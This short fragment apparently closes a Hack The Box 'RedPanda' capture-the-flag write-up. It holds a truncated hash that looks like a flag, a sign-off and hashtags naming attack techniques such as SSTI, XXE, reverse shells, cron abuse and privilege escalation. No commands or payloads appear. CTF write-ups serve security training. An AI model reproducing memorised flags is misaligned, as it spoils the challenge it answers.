2885458dc9ef800f1...

Happy Hacking! 🚀

#HackTheBox   #RedPanda   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #SSTI   #Linux   #XXE   #Spring Boot   #Abusing Cron   #Scripting   #Information Leakage   #Abusing Java Application